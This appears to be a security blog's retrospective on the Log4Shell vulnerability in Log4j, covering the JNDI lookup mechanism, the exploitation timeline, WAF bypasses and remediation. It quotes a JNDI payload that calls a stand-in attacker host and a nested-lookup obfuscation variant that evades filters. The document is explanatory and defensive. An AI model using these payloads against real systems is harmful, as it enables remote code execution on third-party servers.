onlinesyscfg.research
utc
syscfg://research
home/research/log4shell
PublishedMalware Analysis

Log4Shell: The CVSS 10.0 Vulnerability Hidden Inside Every Java App

2026-08-09-18 min read
#log4shell#log4j#cve-2021-44228#jndi#rce#java#apache#supply-chain

On December 9, 2021, a researcher from Alibaba Cloud's security team published a tweet pointing to a GitHub repository demonstrating a remote code execution vulnerability in Log4j. Within hours, every major security vendor's threat intelligence feed was lighting up. By the next morning, CISA director Jen Easterly had called it "one of the most serious vulnerabilities I have seen in my decades-long career, if not the most serious." By the weekend, nation-state actors and ransomware groups were exploiting it in the wild.

CVE-2021-44228, branded Log4Shell, was a CVSS 10.0 vulnerability - the maximum possible score. It affected Log4j, a Java logging library produced by the Apache Software Foundation and embedded in a staggering fraction of internet-facing Java applications. Minecraft servers. iCloud. Steam. Amazon AWS services. VMware. Cisco. IBM. Fortinet. The list of affected vendors ran to hundreds of companies and millions of applications.

◈ interactive artifact
Log4Shell Exploit Simulator
Select a JNDI payload variant and fire it at a vulnerable Log4j server. Watch the DNS callback, LDAP referral, class loading, and RCE play out step by step.

//The Vulnerability

Log4j supports a feature called "message lookup substitution." When a string is passed to the logger, Log4j evaluates special expressions enclosed in ${} delimiters. These lookups can reference system properties, environment variables, and - critically - external resources via JNDI (Java Naming and Directory Interface).

JNDI is a Java API that allows applications to look up named objects - data, services, or resources - from a directory service. The supported backends include LDAP, RMI, DNS, and CORBA. The lookup functionality was designed for legitimate enterprise use cases: looking up database connection strings, configuration values, or LDAP directory information.

The vulnerability arose from a combination of features. When an attacker could cause a string containing a JNDI URL to be logged - ${jndi:ldap://attacker.com:1389/exploit} - Log4j would perform an outbound LDAP lookup to the attacker's server. The attacker's LDAP server would respond with a reference to a remote Java class. Log4j would then download and instantiate that class, executing the attacker's code in the context of the vulnerable application.

[WARNING]
The attack required no authentication, no prior access, and no knowledge of the target's internal structure. Any field that was logged by a Log4j-equipped application was a potential vector: HTTP headers, form fields, usernames, search queries, URL parameters, user agents. Even the content of logged error messages was sufficient. If an attacker could cause their payload to appear in any log message, the application was potentially exploitable.

//Why Log4j Was Everywhere

Log4j is a transitive dependency - a dependency of a dependency, or a dependency of a dependency of a dependency. Application developers often did not know they were using it. It was embedded in Apache Struts, which was embedded in enterprise web frameworks, which were embedded in commercial applications that had been running in production for years without anyone examining their dependency tree.

The Java ecosystem's approach to packaging compounds this problem. Java applications are distributed as JAR files (Java ARchive), and a JAR can contain other JARs. The Log4j JAR was often nested three or four layers deep inside other JAR files. Standard dependency scanning tools of 2021 often could not find it. Even after the vulnerability was public, many organizations could not answer the question "are we using Log4j?" with confidence.

The breadth of exposure created an unusual dynamic: security teams who immediately patched their own applications were still potentially vulnerable through third-party software, vendor products running in their environments, and internet-facing services they had forgotten about. The attack surface was invisible.

//The Exploitation Timeline

The vulnerability had been privately reported to Apache by Alibaba Cloud's security team on November 24, 2021. Apache prepared a fix and released version 2.15.0 on December 6 - three days before the public disclosure. The disclosure came early when a researcher noticed the fix and the associated CVE, and the Minecraft community - which runs heavily on Java - began discussing the vulnerability publicly on December 9.

Within 12 hours of public disclosure, security researchers were observing exploitation attempts in the wild. Within 24 hours, nation-state actors from China, Iran, North Korea, and Turkey were observed attempting exploitation. Within 72 hours, the Khonsari ransomware group was attempting to install ransomware via Log4Shell on Minecraft servers. Within a week, criminal actors were establishing persistent access to thousands of systems for later ransomware deployment.

//WAF Bypasses and Obfuscation

The initial response from many organizations was to deploy Web Application Firewall rules blocking requests containing "${jndi:". This worked briefly. Within hours, researchers demonstrated obfuscation techniques that bypassed naive string matching.

Log4j's lookup mechanism supported nested lookups: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://...} would evaluate to ${jndi:ldap://...} after Log4j processed the inner lookups first. Dozens of obfuscation variants emerged within days, each designed to bypass specific WAF rule patterns. URI encoding, case variation, null-byte insertion, and mixed encoding were all observed in exploitation attempts.

[INFO]
The Log4j maintainers released four separate versions in quick succession as additional attack vectors were discovered. 2.15.0 fixed the initial JNDI lookup issue but was incomplete. 2.16.0 disabled JNDI entirely by default. 2.17.0 addressed a denial-of-service vulnerability discovered in the patch. 2.17.1 addressed a remaining RCE vector. Many organizations had to patch multiple times within days.

//The Scope of Exploitation

The Log4Shell exploitation campaigns that followed were diverse in their objectives. Cryptocurrency miners were deployed at scale - Log4j-vulnerable systems provided immediate, free compute for mining operations. Botnet recruitment was observed. APT groups from multiple countries sought persistent access to high-value targets for intelligence collection.

State-sponsored actors demonstrated particular interest in the vulnerability. The Belgian Defense Ministry was breached via Log4Shell in December 2021. CISA and the FBI issued a joint alert warning of ongoing exploitation through 2022. The Log4j vulnerability remained in active exploitation more than two years after public disclosure, with threat actors specifically targeting organizations that had failed to update embedded or nested instances of the library.

The vulnerability also exposed the weakness of asset inventory practices. Organizations discovered Log4j instances in unexpected places: legacy applications maintained by third-party vendors, IoT devices, embedded systems, developer tools running on internal networks, and security products themselves. At least one security vendor's SIEM product contained a vulnerable Log4j instance in its log ingestion pipeline.

//Remediation

The complete remediation of Log4Shell required multiple steps. Updating Log4j was the obvious first step, but finding all instances of the library was harder than expected. Dependency scanners had to be updated to perform deep JAR inspection. Software Bill of Materials (SBOM) tooling that had been largely ignored became immediately relevant.

CISA issued a directive requiring all federal civilian agencies to remediate within specified timelines. Multiple countries established coordination mechanisms. The Apache Software Foundation's response was criticized as slow, given that the library had previously included a mitigating system property (log4j2.formatMsgNoLookups) that could have been set to true by default years earlier.

Log4Shell did more to accelerate software supply chain security practices than any previous vulnerability. The concept of SBOM moved from academic discussion to practical requirement. The question "what open source libraries are embedded in your software?" became a standard due diligence question in procurement. The long-term effect on how the industry thinks about transitive dependencies may prove to be the most lasting legacy of a vulnerability that affected more systems, more rapidly, than almost anything that came before it.

CVSS 10.0: The Maximum Score

Log4Shell received a CVSS base score of 10.0 - the maximum possible. The score reflects remote exploitability with no authentication required, high impact on confidentiality, integrity, and availability, and low complexity. Few vulnerabilities in the history of the CVSS scoring system have received this score. The combination of ubiquitous deployment, trivial exploitation, and catastrophic potential impact justified the rating.